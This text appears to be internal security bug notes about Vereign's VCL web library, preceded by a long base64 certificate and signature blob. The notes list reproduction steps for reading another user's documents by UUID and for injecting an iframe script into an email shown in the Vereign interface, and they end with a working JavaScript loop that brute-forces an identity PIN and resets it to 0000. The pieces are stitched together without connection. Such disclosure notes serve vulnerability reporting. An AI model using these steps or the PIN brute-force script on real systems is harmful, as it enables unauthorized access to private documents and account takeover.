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--W0RyLiBEYW15YW4gTWl0ZXZd--ck5GzsRpPFPCGD5mmbat8rPQSG0y1wq5GemKV--Vereign - Authentic Communication`)
I can get document which is not shared with me. Method documentGetDocumentByUUID
Steps to reproduce:
First user: Add new document e.g. upload some odt file. Get UUID of this file
Second user: Run documentGetDocumentByUUID with this uuid.
e.g. await lib.documentGetDocumentByUUID("9a35df83-c39b-4fb2-a862-29dc2527087a") in browser's console. *lib should be exposed to window
Result: the second user will get base64 file's content
We shall have the same problem as 4. when we try to send email via Gmail SMTP agent. Which means someone can modify the email message content and inject malicious link.
Dashboard doesn't use these methods but noticed that they return exception
hyperledgerGetInfo returns: rpc error: code = Unavailable desc = all SubConns …hyperledger-agent on 127.0.0.11:53: no such host
hyperledgerTransactionsHistory returns: all SubConns are in TransientFailure, latest connection error: connection error: desc = "transport: Error while dialing dial tcp: lookup v0.9-hyperledger-agent on 127.0.0.11:53: no such host
A way how to inject https://code.vereign.com/code/vcl/issues/28#note_25235 (4th point in a ticket) 1) Prepare fake email message, set user email ("To" section), change message id 2) Paste <iframe src="http://localhost:8000"></iframe> to the email body 3) Change http://localhost:8000 to the URL where this script will be hosted Should be https, if the user works on https 4) Send an email 5) Wait until the user opens this email in the Vereign interface
Comments:
I do not have access to user localstorage, but I can work with VCL library which has access.
Break any pincode to default 0000 in 2-5 minutes by using brute force
We need to get VCL library and set it into the lib variable. Either get lib from debugger in browser console (we have access to user's computer) or inject one more VCL library and work with it (injected iframe script)
In that case we have access to user laptop. Either we can change pincode remotely by using iframe from 11 issue
var key = Object.keys(JSON.parse(localStorage.identities))[0]; // or var identities = await lib.listIdentities(); var key=identities.data[0];for (let i = 0; i < 10000; i++){ var oldNum = ""+i; await lib.changeIdentityPinCode(key, ('0000' + oldNum).substring(oldNum.length), '0000'); localStorage.attempt = 1}